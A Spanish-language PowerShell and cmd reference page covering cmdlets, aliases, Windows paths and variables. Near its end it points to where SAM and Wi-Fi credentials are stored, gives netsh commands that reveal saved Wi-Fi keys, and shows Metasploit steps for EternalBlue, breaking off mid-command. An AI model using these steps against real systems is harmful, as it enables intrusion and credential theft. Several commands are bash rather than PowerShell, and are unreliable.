top of page
banner_windows.png

POWERSHELL

COMMANDS

undercons.png

Ⓜ️ ENLACES INTERNOS

🚣‍♂️ NAVEGACIÓN

🅾️ OUTPUT

▶️  Write-Output (echo)

➗  Cálculo

📦 FORMATOS

✖️ empty

🔌 CONEXIÓN

✖️ empty

📁 ARCHIVOS

✏️ EDITAR TEXTO

📝 Notepad

🌐 WEB

✖️ empty

⚔️ FUERZA BRUTA

✖️ empty

🖥️ CONSOLA

🔳  cmd.exe

#️⃣  Powershell

🆑  CmdLets

🅰️  Alias

🗄️ SISTEMA

❓  Comandos de Ayuda

⌨️  Atajos de Teclado

🖥️  Sistema

📮  Regedit.exe

 🔋  Battery Report

👑 JERARQUÍA

 🧑  Usuarios

👨‍👨‍👦  Grupos

✅   Permisos

📡 ESCANEO

💣 VULNERABILIDADES

LEYENDA DE COLORES

 BLANCO                                           Archivos / Encabezados / Palabras destacadas / Output resultante de un comando
 [PARÉNTESIS]                                [Parámetros a introducir en una línea de comandos]
 GRIS                                                  Introducciones / Aclaraciones / Texto explicativo
VERDE                                              Sintaxis / Comandos / Código genérico / alias
VERDE PÁLIDO                              Prompts / Parámetros destacados
AZUL                                                 Rutas / Directorios / "Windows"
▉ AZUL CLARO                                   URLs / IPs
ROSA                                                 Destacar parámetros en una línea de comandos
ROJO                                                  Comandos de privilegios / stderr / Atención
NARANJA                                         Valor variable / Usuarios / Grupos / Contraseñas / TCP / "Linux" /"verbo"
AMARILLO                                       Puertos / UDP / JavaScript / php / cmdlet / "sustantivo"

🔳 CMD.EXE

CMD, también conocido como Command Prompt, es la interfaz de línea de comandos original para el sistema operativo Microsoft DOS. Se mantuvo como la shell predeterminada hasta la construcción 14791 de Windows 10, cuando Microsoft hizo que PowerShell fuera la opción predeterminada. CMD es uno de los últimos restos del antiguo sistema operativo MS-DOS que Microsoft reemplazó. A pesar de su reemplazo, CMD sigue siendo una opción dentro del sistema operativo y se utiliza principalmente para tareas simples y rápidas, como obtener información de IP con ipconfig o probar la conexión de red con ping 23.

CMD es basado en MS-DOS y tiene una
sintaxis simple, ofreciendo capacidades básicas de redirección de entrada y salida. A diferencia de PowerShell, CMD no tiene acceso a bibliotecas y módulos, lo que limita su utilidad en la automatización de tareas. Además, CMD no tiene integración nativa con .NET ni con WMI (Windows Management Instrumentation), lo que significa que no puede acceder a las mismas funcionalidades avanzadas que PowerShell para la gestión de sistemas y servicios.

Nota: CMD NO es case-sensitive

Ejecutar como usuario:
 

cmd1.png

Interfaz de consola de usuario:
 

cmd2.png
cmd

#️⃣ WINDOWS POWERSHELL

PowerShell es una solución de automatización de tareas multiplataforma compuesta por una shell de línea de comandos, un lenguaje de scripting y un marco de gestión de configuración. Fue desarrollado originalmente por Microsoft como Windows PowerShell, pero se convirtió en open-source y multiplataforma el 18 de agosto de 2016 con la introducción de PowerShell Core. Aunque inicialmente era un componente exclusivo de Windows, ahora se puede instalar en macOS y Linux. Desde la construcción 14971 de Windows 10, PowerShell reemplazó a Command Prompt (cmd.exe) y se convirtió en la shell de comandos predeterminada para el Explorador de Archivos de Windows.

Como lenguaje de scripting, PowerShell se utiliza ampliamente para automatizar la gestión de sistemas, construir, probar y desplegar soluciones, especialmente en entornos de CI/CD. Está construido sobre la Common Language Runtime (.NET CLR), lo que significa que todos los inputs y outputs son objetos.NET, eliminando la necesidad de analizar la salida de texto para extraer información. PowerShell es extensible a través de
funciones, clases, scripts y módulos, y soporta formatos de datos comunes como CSV, JSON y XML. Además, permite la creación de tipos dinámicos a través de su sistema de tipos extensible.

Una característica distintiva de PowerShell es su capacidad para trabajar con
objetos, lo que proporciona una salida más completa y detallada en comparación con otros intérpretes de comandos que solo devuelven texto. Los comandos de PowerShell, conocidos como cmdlets, devuelven instancias de objetos, lo que facilita la manipulación y análisis de la información de salida. PowerShell también permite la creación de cmdlets personalizados y el uso de alias para comandos, lo que facilita la adaptación del usuario a la herramienta.

PowerShell es especialmente útil para administradores de sistemas, ya que facilita la automatización, administración y configuración de sistemas Windows y otros programas de Microsoft como SQL Server, Exchange o IIS. Permite la declaración de variables de varios tipos, incluyendo operadores aritméticos y de asignación, y ofrece una amplia gama de opciones para simplificar la automatización de tareas. Además, se puede utilizar en una PC con Windows simplemente escribiendo "PowerShell" en el cuadro de búsqueda de la barra de tareas, y se puede configurar como la consola predeterminada para Windows 10.


Nota: System.Management.Automation.dll <- este es el ensamblado de .NET que contiene el motor de PowerShell. Cuando ejecutas powershell.exe, este ensamblado es cargado para proporcionar el entorno de ejecución de PowerShell.

Nota: PowerShell NO es case-sensitive, lo que significa que el entorno no diferencia minúsculas de mayúsculas
           (a diferencia de
Linux, que sí lo hace).

Ejecutar como
usuario:
 

pows1.png

Interfaz de consola de usuario:
PS  C:\Users\User>_
 

pows2.png

Ejecutar como Administrador:
 

pows5.png

Interfaz de consola de Administrador:
PS  C:\Windows\system32>_
 

pows4.png
powershell

🆑 CMDLETS

Los cmdlets están compuestos por un verbo seguido de un sustantivo, seguido de una lista de parámetros.

Por ejemplo,
Get-Process es un cmdlet donde "Get" es el verbo que indica la acción de recuperar o obtener algo, y "Process" es el sustantivo que especifica qué entidad se está obteniendo. Esta estructura permite una gran flexibilidad y extensibilidad en el lenguaje de scripting, ya que se puede combinar diferentes verbos con los mismos sustantivos para realizar diversas acciones sobre las mismas entidades.

SINTAXIS:
[verbo]-[sustantivo]

VERBOS COMUNES:
Add                          (agrega un recurso a un contenedor o asocia un elemento a otro)
Clear                        (Quita todos los recursos de un contenedor, pero no elimina el contenedor)
Close                       (Cambia el estado de un recurso para que sea inaccesible, no disponible o inutilizable)
Copy                        (Copia un recurso en otro nombre o en otro contenedor)
Enter                       (Especifica una acción que permite al usuario moverse a un recurso)
Exit                           (Establece el entorno o contexto actual en el contexto usado más recientemente)
Find                          (Busca un objeto en un contenedor desconocido, implícito, opcional o especificado)
Get                            (Especifica una acción que recupera un recurso)
Hide                          (Convierte un recurso en indetectable)
Join                           (Combina varios recursos en uno)
Lock                          (Protege un recurso)
Move                         (Traslada un recurso de una ubicación a otra)
New                           (Crea un recurso)
Open                         (Cambia el estado de un recurso para que sea accesible, disponible o utilizable)
Remove                    (Elimina un recurso de un contenedor)
Rename                    (Cambia el nombre de un recurso)
Set                              (Reemplaza datos de un recurso existente o crea un recurso que contiene algunos datos)
Show                          (Convierte un recurso en visible para el usuario)
Split                            (Separa elementos de un recurso)
Switch                        (Especifica una acción que alterna entre dos recursos)
Undo                           (Establece un recurso en su estado anterior)
Watch                         (Inspecciona o supervisa continuamente los cambios de un recurso)
Block                           (Restringe el acceso a un recurso)
Grant                           (Permite el acceso a un recurso)
Protect                       (Protege un recurso de ataques o pérdidas)
Revoke                        (Especifica una acción que no permite acceder a un recurso)
Unblock                      (Quita las restricciones a un recurso)
Unprotect                  (Quita de un recurso las medidas de seguridad que se agregaron para evitar ataques o pérdidas)

[ctrl] + [espacio]            (mostrar sustantivos disponibles para un verbo dado)

SUSTANTIVOS COMUNES:
Command                   (Un comando individual o colección de comandos)
Configuration            (Configuración de un sistema o aplicación)
Connection                 (Conexión a un recurso o servicio)
Credential                   (Credenciales de autenticación)
Data                             (Datos en general o operaciones relacionadas con datos)
Environment              (Entorno de ejecución de PowerShell o variables de entorno)
Event                            (Eventos o registros de eventos)
File                                (Archivo individual o colección de archivos)
Folder                           (Carpeta individual o colección de carpetas)
Host                              (Host de PowerShell o interfaz de usuario)
Item                              (Elemento individual dentro de un contenedor)
Job                                (Trabajo o tarea en segundo plano)
Module                        (Módulo de PowerShell o biblioteca de código)
Network                      (Red o operaciones de red)
Process                        (Proceso en ejecución)
Profile                           (Perfil de usuario o script de perfil)
Session                        (Sesión de PowerShell o conexión a servidores remotos)
Service                         (Servicio de Windows o operaciones relacionadas con servicios)
User                              (Usuario o cuenta de usuario)
 

cmdlets

🅰️ ALIAS

Los alias son abreviaturas de los cmdlets que facilitan su escritura y uso. Por ejemplo, el alias para Get-Process sería simplemente psgps. Los alias son útiles para acelerar la escritura de comandos largos y repetitivos, pero no deben usarse para imitar comandos bien conocidos de otros entornos.

Ver lista de ALIAS de PowerShell:

Get-Alias

gal

CommandType             Name                                                    Version            Source
-------------------             -------                                                     ---------             --------
Alias                                 
% -> ForEach-Object
Alias                                 
? -> Where-Object
Alias                                 
ac -> Add-Content
Alias                                 
asnp -> Add-PSSnapin
Alias                                 
cat -> Get-Content
Alias                                 
cd -> Set-Location
Alias                                 
CFS -> ConvertFrom-String              3.1.0.0            Microsoft.PowerShell.Utility
Alias                                 
chdir -> Set-Location
Alias                                
clc -> Clear-Content
Alias                                
clear -> Clear-Host
Alias                                
clhy -> Clear-History
Alias                                
cli -> Clear-Item
Alias                                
clp -> Clear-ItemProperty
Alias                                
cls -> Clear-Host
Alias                                
clv -> Clear-Variable
Alias                                
cnsn -> Connect-PSSession
Alias                                
compare -> Compare-Object
Alias                                
copy -> Copy-Item
Alias                                
cp -> Copy-Item
Alias                                
cpi -> Copy-Item
Alias                                
cpp -> Copy-ItemProperty
Alias                                
curl -> Invoke-WebRequest
Alias                                
cvpa -> Convert-Path
Alias                                
dbp -> Disable-PSBreakpoint
Alias                                
del -> Remove-Item
Alias                                
diff -> Compare-Object
Alias                                
dir -> Get-ChildItem
Alias                                
dnsn -> Disconnect-PSSession
Alias                                
ebp -> Enable-PSBreakpoint
Alias                                
echo -> Write-Output
Alias                                
epal -> Export-Alias
Alias                                
epcsv -> Export-Csv
Alias                                
epsn -> Export-PSSession
Alias                                
erase -> Remove-Item
Alias                                
etsn -> Enter-PSSession
Alias                                
exsn -> Exit-PSSession
Alias                                
fc -> Format-Custom
Alias                                
fhx -> Format-Hex                                  3.1.0.0    Microsoft.PowerShell.Utility
Alias                                
fl -> Format-List
Alias                                
foreach -> ForEach-Object
Alias                                
ft -> Format-Table
Alias                                
fw -> Format-Wide
Alias                                
gal -> Get-Alias
Alias                                
gbp -> Get-PSBreakpoint
Alias                                
gc -> Get-Content
Alias                                
gcb -> Get-Clipboard                             3.1.0.0    Microsoft.PowerShell.Management
Alias                                
gci -> Get-ChildItem
Alias                                
gcm -> Get-Command
Alias                                
gcs -> Get-PSCallStack
Alias                                
gdr -> Get-PSDrive
Alias                                
ghy -> Get-History
Alias                                
gi -> Get-Item
Alias                                
gin -> Get-ComputerInfo                      3.1.0.0    Microsoft.PowerShell.Management
Alias                                
gjb -> Get-Job
Alias                                
gl -> Get-Location
Alias                                
gm -> Get-Member
Alias                                
gmo -> Get-Module
Alias                                
gp -> Get-ItemProperty
Alias                                
gps -> Get-Process
Alias                                
gpv -> Get-ItemPropertyValue
Alias                                
group -> Group-Object
Alias                                
gsn -> Get-PSSession
Alias                                
gsnp -> Get-PSSnapin
Alias                                
gsv -> Get-Service
Alias                                
gtz -> Get-TimeZone                               3.1.0.0    Microsoft.PowerShell.Management
Alias                                
gu -> Get-Unique
Alias                                
gv -> Get-Variable
Alias                                
gwmi -> Get-WmiObject
Alias                                
h -> Get-History
Alias                                
history -> Get-History
Alias                                
icm -> Invoke-Command
Alias                                
iex -> Invoke-Expression
Alias                                
ihy -> Invoke-History
Alias                                
ii -> Invoke-Item
Alias                                
ipal -> Import-Alias
Alias                                
ipcsv -> Import-Csv
Alias                                
ipmo -> Import-Module
Alias                                
ipsn -> Import-PSSession
Alias                                
irm -> Invoke-RestMethod
Alias                                
ise -> powershell_ise.exe
Alias                                
iwmi -> Invoke-WmiMethod
Alias                                
iwr -> Invoke-WebRequest
Alias                                
kill -> Stop-Process
Alias                                
lp -> Out-Printer
Alias                                
ls -> Get-ChildItem
Alias                                
man -> help
Alias                                
md -> mkdir
Alias                                
measure -> Measure-Object
Alias                                
mi -> Move-Item
Alias                                
mount -> New-PSDrive
Alias                                
move -> Move-Item
Alias                                
mp -> Move-ItemProperty
Alias                                
mv -> Move-Item
Alias                                
nal -> New-Alias
Alias                                
ndr -> New-PSDrive
Alias                                
ni -> New-Item
Alias                                
nmo -> New-Module
Alias                                
npssc -> New-PSSessionConfigurationFile
Alias                                
nsn -> New-PSSession
Alias                                
nv -> New-Variable
Alias                                
ogv -> Out-GridView
Alias                                
oh -> Out-Host
Alias                                
popd -> Pop-Location
Alias                                
ps -> Get-Process
Alias                                
pushd -> Push-Location
Alias                                 
pwd -> Get-Location
Alias                                
r -> Invoke-History
Alias                                
rbp -> Remove-PSBreakpoint
Alias                                
rcjb -> Receive-Job
Alias                                
rcsn -> Receive-PSSession
Alias                                
rd -> Remove-Item
Alias                                
rdr -> Remove-PSDrive
Alias                                
ren -> Rename-Item
Alias                                
ri -> Remove-Item
Alias                                
rjb -> Remove-Job
Alias                                
rm -> Remove-Item
Alias                                
rmdir -> Remove-Item
Alias                                
rmo -> Remove-Module
Alias                                
rni -> Rename-Item
Alias                                
rnp -> Rename-ItemProperty
Alias                                
rp -> Remove-ItemProperty
Alias                                
rsn -> Remove-PSSession
Alias                                
rsnp -> Remove-PSSnapin
Alias                                
rujb -> Resume-Job
Alias                                
rv -> Remove-Variable
Alias                                
rvpa -> Resolve-Path
Alias                                 
rwmi -> Remove-WmiObject
Alias                                
sajb -> Start-Job
Alias                                
sal -> Set-Alias
Alias                                
saps -> Start-Process
Alias                                
sasv -> Start-Service
Alias                                
sbp -> Set-PSBreakpoint
Alias                                
sc -> Set-Content
Alias                                
scb -> Set-Clipboard                               3.1.0.0    Microsoft.PowerShell.Management
Alias                                
select -> Select-Object
Alias                                
set -> Set-Variable
Alias                                 
shcm -> Show-Command
Alias                                
si -> Set-Item
Alias                                
sl -> Set-Location
Alias                                
sleep -> Start-Sleep
Alias                                
sls -> Select-String
Alias                                
sort -> Sort-Object
Alias                                
sp -> Set-ItemProperty
Alias                                
spjb -> Stop-Job
Alias                                
spps -> Stop-Process
Alias                                
spsv -> Stop-Service
Alias                                
start -> Start-Process
Alias                                
stz -> Set-TimeZone                               3.1.0.0    Microsoft.PowerShell.Management
Alias                                
sujb -> Suspend-Job
Alias                                
sv -> Set-Variable
Alias                                
swmi -> Set-WmiInstance
Alias                                
tee -> Tee-Object
Alias                                
trcm -> Trace-Command
Alias                                
type -> Get-Content
Alias                                
wget -> Invoke-WebRequest
Alias                                
where -> Where-Object
Alias                                
wjb -> Wait-Job
Alias                                
write -> Write-Output

 

Buscar ALIAS en la lista:
Get-Alias [alias]

gal [alias]

Definir ALIAS en PowerShell:

New-Alias -Name [nombre] -Value [cmdlet]

Definir VARIABLE DE ENTORNO en PowerShell:

$[nombre_variable] = ["archivo .exe"]

alias
sistemas archivos

🗃️ SISTEMAS DE ARCHIVOS

El sistema de archivos de Windows 10, al igual que en versiones anteriores de Windows, se basa principalmente en el sistema de archivos NTFS (New Technology File System). NTFS es el formato de sistema de archivos predeterminado utilizado por Windows desde la versión NT (New Technology) de Windows 3.1 hasta la actualidad. Este sistema de archivos ofrece una serie de características avanzadas que mejoran la seguridad, la eficiencia y la administración de archivos en comparación con los sistemas de archivos más antiguos como FAT (File Allocation Table) y FAT32.

NTFS:
Es el sistema de archivos principal utilizado por Windows 10. Ofrece características como la encriptación de archivos, la compresión de archivos, la asignación dinámica de espacio en disco, la seguridad de acceso a archivos y directorios, y la capacidad de recuperar archivos eliminados mediante la función de Reciclaje. NTFS es compatible con la tecnología de almacenamiento de archivos de gran tamaño (LFS) y permite la creación de volúmenes de archivos de gran tamaño.

FAT y FAT32:
Son sistemas de archivos más antiguos que se utilizaban en versiones anteriores de Windows y en sistemas operativos como MS-DOS. FAT32 es una mejora sobre FAT, permitiendo la creación de particiones de hasta 8 TB y soportando sistemas de archivos de hasta 16 TB. Aunque FAT32 es compatible con una amplia gama de dispositivos, no ofrece las mismas características de seguridad y gestión de archivos que NTFS.

exFAT:
Es una extensión de FAT que mejora la compatibilidad con dispositivos USB y otros dispositivos de almacenamiento externo. exFAT elimina la limitación de tamaño de archivo de 4 GB que tenía FAT32, permitiendo archivos de hasta 16 EB (exabytes) y particiones de hasta 64 ZB (zettabytes). exFAT es ideal para dispositivos de almacenamiento externo que requieren una amplia compatibilidad con diferentes sistemas operativos.

ReFS (Resilient File System):
Lanzado con Windows Server 2012, ReFS es un sistema de archivos de nueva generación diseñado específicamente para servidores. Ofrece características como la tolerancia a errores, la capacidad de detectar y corregir errores en tiempo real, y la escalabilidad para grandes volúmenes de datos. ReFS es especialmente útil en entornos de servidor donde la disponibilidad y la integridad de los datos son críticas.

HPFS (High Performance File System):
Desarrollado por Microsoft en colaboración con IBM, HPFS fue utilizado en versiones antiguas de Windows NT hasta la versión 3.5. Actualmente, HPFS es obsoleto y raramente se encuentra en sistemas modernos.

🗃️ SISTEMA DE CARPETAS (NTFS)

La organización de los directorios en Windows 10, al igual que en versiones anteriores de Windows, se basa en una estructura jerárquica de directorios y archivos, similar a cómo se organiza el sistema de archivos NTFS. A continuación, estructura básica reducida de un sistema operativo Windows 10 Pro de 64 bits:
 

Win10Sys.png
sistema carpetas

🎯 RUTAS DE INTERÉS

Dentro de C:\
C:\WinREAgent                      (archivos de recuperación. soluccionador de problemas, restaurar sistema y restaurar estado)
C:\Program Files                    (aplicaciones instaladas por el usuario)
C:\Program Files (x86)        (aplicaciones de 32 bits instaladas por el usuario en un sistema de 64 bits)
C:\PerfLogs                               (archivos de registro de rendimiento que recopilan información sobre el rendimiento del sistema)
C:\Program Data                    (datos compartidos por todas las aplicaciones. bases de datos de aplicaciones y configuraciones globales)
C:\Users                                      (almacenamiento. archivos de cada usuario del sistema)
C:\MSOCache                           (archivos temporales y caché de Microsoft Office que mejoran el rendimiento)
C:\Windows                              (archivos del sistema operativo, el kernel de Windows, controladores y configuraciones del sistema)

Dentro de C:\Users
C:\Users\Public                       (carpeta utilizada para compartir archivos y carpetas entre todos los usuarios. todos tienen permisos aquí)
C:\Users\Default                    (perfil predeterminado que se usa como plantilla para crear nuevos perfiles de usuario)
C:\Users\User                          (carpeta específica para cada usuario. los archivos de esta carpeta son privados para cada usuario)

Dentro de C:\Users\User
C:\Users\User\Desktop             (escritorio del usuario)
C:\Users\User\AppData            (aplicaciones y sistema operativo almacenan datos como configuraciones, cachés, y archivos temporales)
C:\Users\User\Searches            (resultados de las búsquedas realizadas por el usuario)
C:\Users\User\Contacts            (administrador de contactos completo)
C:\Users\User\Downloads       (descargas del usuario)
C:\Users\User\Documents       (documentos del usuario)
C:\Users\User\Favorites            (marcadores web y ubicaciones de archivos marcados por el usuario)
C:\Users\User\Images                (imágenes del usuario)
C:\Users\User\Saved Games   (partidas de juegos)
C:\Users\User\Music                  (archivos de sonido del usuario)
C:\Users\User\3D Objects         (archivos de impresora 3D)
C:\Users\User\One Drive           (carpeta de One Drive)
C:\Users\User\Videos                (videos del usuario)
C:\Users\User\Links                    (enlaces a sitios web)
C:\Users\User\ntusers.dat       (almacena la configuración y las preferencias del perfil de usuario desde el registro de Windows)

Dentro de C:\Windows
C:\Windows\System                    (archivos y subcarpetas esenciales para el funcionamiento del sistema operativo)
C:\Windows\System32              (archivos y subcarpetas esenciales para el funcionamiento del sistema operativo)
C:\Windows\Logs                         (registros de eventos de Windows)
C:\Windows\Temp                       (archivos temporales creados por el sistema operativo y las aplicaciones para su uso intermedio)
C:\Windows\Regedit.exe          (programa que permite ver y modificar la base de datos del registro de Windows)

Dentro de C:\Windows\System32
C:\Windows\System32\Drivers                             (controladores de dispositivos)
C:\Windows\System32\Drivers\etc\hosts     (este archivo interviene en la traducción local de hostnames y direcciones IP)
C:\Windows\System32\Winevt\logs     (archivos de registro [.evtx] que contienen información sobre los eventos del sistema)
C:\Windows\System32\Catroot2            (actualizaciones de seguridad y certificados digitales)
C:\Windows\System32\Config                 (archivos de configuración de aplicaciones y servicios del sistema, como el Panel de Control                                                                                                o el Administrador de Tareas. También las contraseñas de Credential Manager [SAM y SYSTEM])
C:\Windows\System32\DriverStore      (controladores de dispositivos instalados en el sistema)
C:\Windows\System32\Microsoft         (subcarpetas específicas para componentes de Microsoft, como DirectX,.NET Framework...)
C:\Windows\System32\Spools                (archivos relacionados con el proceso de impresión)
C:\Windows\System32\SysWOW64     (archivos de sistema críticos para el funcionamiento del sistema operativo)
C:\Windows\System32\Wbem                (archivos relacionados con el Componente de Administración de Windows [WMI])
C:\Windows\System32\GroupPolicy     (archivos relacionados con la configuración de políticas de grupo)
C:\Windows\System32\Inetsrv                (archivos relacionados con Internet Information Services (IIS), un servidor web integrado)
C:\Windows\System32\LogFiles             (archivos de registro de eventos del sistema)
C:\Windows\System32\Tasks                  (archivos de tareas programadas por el usuario o por el sistema)

Otras:
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces                                                                         (contraseñas wifi. archivos HTML)
C:\Users\usuario\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine                                (PowerShell user history)
C:\Windows\Prefetch                                                                                               (Windows 11. Archivos temporales que ralentizan el sistema)

rutas interes

🏷️ VARIABLES DE ENTORNO DEL SISTEMA

Nombre del Equipo:
%COMPUTERNAME%

Nombre del servidor de inicio de sesión:

%LOGONSERVER%

Nombre de usuario actual:

%USERNAME%

Nombre del dominio del usuario:

%USERDOMAIN%

Número de procesadores del sistema:

%NUMBER_OF_PROCESSORS%

Versión del sistema operativo:

%OS%

Rutas a los directorios que contienen ejecutables del sistema y de aplicaciones:

%PATH%

Ruta al directorio Temp del usuario actual, donde se almacenan archivos temporales:

%TEMP% y %TMP%

Directorio actual:
%CD%

C:\
%HOMEDRIVE%

C:\Windows

%WINDIR%

C:\ProgramData
%ALLUSERSPROFILE%

C:\Users\User\AppData\Roaming
%APPDATA%

C:\Windows\System32\cmd.exe
%COMSPEC%

C:\Users\User​
%HOMEPATH%
%USERPROFILE%


C:\Users\User\AppData\Local
%LOCALAPPDATA%

C:\Users\User
%HOMEPATH%

variables entorno

🔎 BÚSQUEDA

Buscar archivo por palabra desde C:\
Get-ChildItem -Path C:\ -Filter "PALABRA*" -Recurse -Force -ErrorAction silentlycontinue
 

busqueda

📝 GET-CHILDITEM (LS)

Listar contenido del directorio actual en tablas:
Get-ChildItem           (cmdlet)
dir                                 (alias)
ls                                   (alias)

Variantes:
Get-ChildItem | Format-Table                        (listar contenido directorio actual en tablas)
Get-ChildItem | Format-Wide                         (listar contenido directorio actual en 2 columnas)
Get-ChildItem | Format-List                            (listar contenido directorio actual con propiedades)
Get-ChildItem | Format-List *                         (listar contenido directorio actual con propiedades detalladas)
Get-ChildItem | Out-String                              (listar contenido directorio actual en texto seguido, tipo Linux)
Get-ChildItem | Out-Null                                  (Output nulo)
Get-ChildItem > [archivo.txt]                           (Guardar el output de Get-ChildeItem en archivo de texto)
Get-ChildItem Out-File .\archivo.txt           (Guardar el output de Get-ChildeItem en archivo de texto)

get-childitem

📁 SET-LOCATION (CD)

Ir a la carpeta dada:
Set-Location [carpeta]                     (cmdlet)
cd [carpeta]                                         (alias)

Ir a la carpeta dada en una ruta:
Set-Location [ruta]                     (cmdlet)
cd [ruta]                                         (alias)

Retroceder a la carpeta anterior:
Set-Location ..                       (cmdlet)
cd ..                                            (alias)
 

set-location

📁 MODIFICAR ARCHIVOS

Mover archivo:
Move-Item [archivo] [ruta destino]                            (cmdlet)
mv [archivo] [ruta destino]                                           (alias)

Crear archivo:
New-Item [archivo]                                                         (cmdlet)
ni [archivo]                                                                         (alias)

Crear carpeta:
New-Item -ItemType Directory [carpeta]                 (cmdlet)
ni -ItemType Directory [carpeta]                                 (alias)

Copiar archivo:
Copy-Item [archivo] [nuevo nombre]                         (cmdlet)
cp [archivo] [nuevo nombre]                                         (alias)

Eliminar archivo (no diferencia entre carpetas y archivos):
Remove-Item [archivo]                                                  (cmdlet)
rm [archivo]                                                                       (alias)
rmdir [archivo]                                                                  (alias)
del [archivo]                                                                       (alias)

modificar archivos

📑 GET-CONTENT (CAT)

Ver contenido de texto del archivo dado:
Get-Content [archivo]               (cmdlet)
cat [archivo]                                 (alias)

get-content

🔲 OUT-GRIDVIEW

El cmdlet Out-GridView en PowerShell envía la salida de un comando a una ventana de vista de cuadrícula donde la salida se muestra en una tabla interactiva. Esto permite a los usuarios examinar y manipular los datos de manera más visual y fácil.
La ventana resultante tiene un cuadro de texto para filtrar los resultados.


Ejemplo:
Get-ChildItem Out-GridView
 

out-gridview.png
out-gridview
ayuda

❓ COMANDOS DE AYUDA

help                                                (abrir sistema de ayuda de Windows Powershell)
man [cmdlet] o [alias]              (antes del comando para abrir su página de ayuda)

 

⌨️ ATAJOS DE TECLADO

[ctrl] + [l]                           (limpiar el terminal)
[ctrl] + [espacio]              (mostrar sustantivos disponibles para un verbo. cmdlet)
[tab]                                  (autocompletar)
[ctrl] + [c]                          (detener)

atajos tclado

🖥️ SISTEMA
 
Órdenes al terminal
clear                                (limpiar terminal)
reboot                            (reiniciar sistema)
shutdown -h now        (apagar el sistema)
shutdown -r now         (reiniciar sistema)
shutdown -h 20           (apagar el sistema en 20 minutos)
shutdown -r 20           (reiniciar el sistema en 20 minutos)

Identificar
pwd                            (ver directorio actual)
whoami                     (nombre de usuario/usuario del sistema)
hostname                 (nombre de usuario)

Últimos comandos utilizados por el usuario actual
history


Ver código de estado del último comando
echo $?
true               (✔️el comando se ejecutó con éxito)
false              (❌el comando falló)

Procesos del sistema
ps                                                                 (procesos en ejecución)
kill [proceso]                                             ("matar" un proceso)

sistema

📮 REGEDIT.EXE

Regedit, o el Editor del Registro de Windows, es una herramienta integral en Windows 10 que permite a los profesionales de ciberseguridad y administradores de sistemas acceder y modificar la base de datos del sistema operativo. Esta base de datos, conocida como el Registro de Windows, almacena configuraciones y opciones para todo el hardware, software, usuarios y preferencias en una computadora específica. Cada vez que se realizan cambios en el sistema, como agregar usuarios o instalar software, esta información se guarda en el registro.

La configuración del registro de Windows, y por lo tanto, la de todo el sistema operativo se almacena en el directorio C:\Windows\System32\Config. Y la configuración personal de cada usuario se almacena en el fichero NTUSER.dat que está en C:\Users\User\ntusers.dat.

El registro está formado por dos elementos. El primero de ellos son las CLAVES, o lo que es lo mismo, cada una de las "carpetas" donde se guardan los valores. Y el segundo elemento son estos VALORES, quienes terminan de dar forma a la configuración. Estos valores pueden tener números, texto u otros datos.

Las claves y los valores están agrupados dentro de lo que se conoce como "
colmena", y los reconoceremos porque son los principales:

HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_CLASSES_ROOT
HKEY_USERS
HKEY_CURRENT_CONFIG


Ubicación de REGEDIT:
C:\windows\regedit.exe
%windir%\regedit.exe

Aaaa:
aaaa
 

regedit
battery report

🔋 BATTERY REPORT

Crear informe detallado sobre el estado de la batería del dispositivo:
POWERCFG BATTERYREPORT

Abrir el informe con el navegador predeterminado:
C:\Users\User\battery-report.html
 

write-output

▶️ WRITE-OUTPUT (ECHO)

Listar contenido del directorio actual en tablas:
Write-Output                                 (cmdlet)
echo                                                  (alias)

echo hola                                         (crear output "hola")
echo hola  > [archivo]                   (guarda output "hola" en archivo "file")
echo ¿que tal? >> [archivo]        (guarda output nuevo a archivo "file")
 

calc

CÁLCULO

Operadores matemáticos
 +                  
(suma)
 -                   (resta)
 *                   (multiplicación)
 /                  (división)
**                  (exponencial)
%                  (módulo)
 
Mostrar cálculos en línea de comando con echo
echo $((3+2))                    (suma = 5)
echo $((3-2))                     (resta = 1)
echo $((3*2))                     (multiplicación = 6)
echo $((2/2))                     (división = 1)
echo $((2**3))                    (exponencial. 2 elevado a 3 = 8)
echo $((50%20))               (porcentaje. 50% de 20 = 10)

notepad

​📝 NOTEPAD

Abrir archivo de texto existente con Bloc de Notas:
notepad [archivo]

Crear archivo de texto nuevo con Bloc de Notas:
notepad [archivo nuevo]

Abrir contenido de variable con Bloc de Notas:
notepad [$variable]

🧑 USUARIOS

Ruta de perfil de Powershell de usuario (powershell script):
$profile
C:\Users\User\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

D:
n

usuarios

🔑 WIFI LAN PASSWORD

Mostrar Perfiles de Usuario de redes LAN WIFI:
netsh wlan show profiles

Descubrir información del perfil de rede, configuración de conectividad, de SEGURIDAD y de costos:
netsh wlan show profile name=[Red WIFI] key=clear
 

wifi pass

➿ ETERNAL BLUE

EternalBlue es el nombre de una vulnerabilidad en el protocolo Server Message Block (SMB) de Microsoft Windows. Fue explotada por el exploit del mismo nombre desarrollado por la Agencia de Seguridad Nacional de Estados Unidos (NSA) y filtrado por el grupo Shadow Brokers en abril de 2017. EternalBlue aprovecha una falla en la implementación del protocolo SMBv1, que permite la ejecución remota de código en sistemas Windows.

EternalBlue se hizo ampliamente conocido por su uso en los ataques de ransomware
WannaCry y NotPetya en 2017. Estos ataques causaron estragos a nivel mundial, cifrando los datos de miles de sistemas y solicitando rescates en Bitcoin para descifrarlos.

Microsoft lanzó un
parche para esta vulnerabilidad en marzo de 2017 (MS17-010). Es crucial que los sistemas Windows se actualicen con este parche para protegerse contra los ataques que explotan EternalBlue.

DETALLES TÉCNICOS:
La vulnerabilidad reside en la forma en que SMBv1 maneja los paquetes específicamente construidos. Un atacante puede enviar un paquete SMB especialmente diseñado a un sistema objetivo que utiliza este protocolo. La explotación exitosa de esta vulnerabilidad permite a los atacantes ejecutar código arbitrario en el sistema afectado, lo que puede llevar a un control total del mismo.

CVE-2017-0144

ETERNAL BLUE AFECTA A VARIAS VERSIONES DE MICROSOFT WINDOWS:
- Windows XP
- Windows Vista
- Windows 7
- Windows 8.1
- Windows 10
- Windows Server 2003
- Windows Server 2008
- Windows Server 2012
- Windows Server 2016


EXPLOTAR VULNERABILIDAD CON METASPLOIT:

ESCANEO ESPECÍFICO:
nmap -p445 --script smb-vuln-ms17-010 [IP_remota]

ABRIR METASPLOIT, BUSCAR Y EJECUTAR EXPLOIT:
msfconsole
search eternalblue / CVE-2017-0144
use exploit/windows/smb/ms17_010_eternalblue
set RHOST [IP_remota]
set PAYLOAD
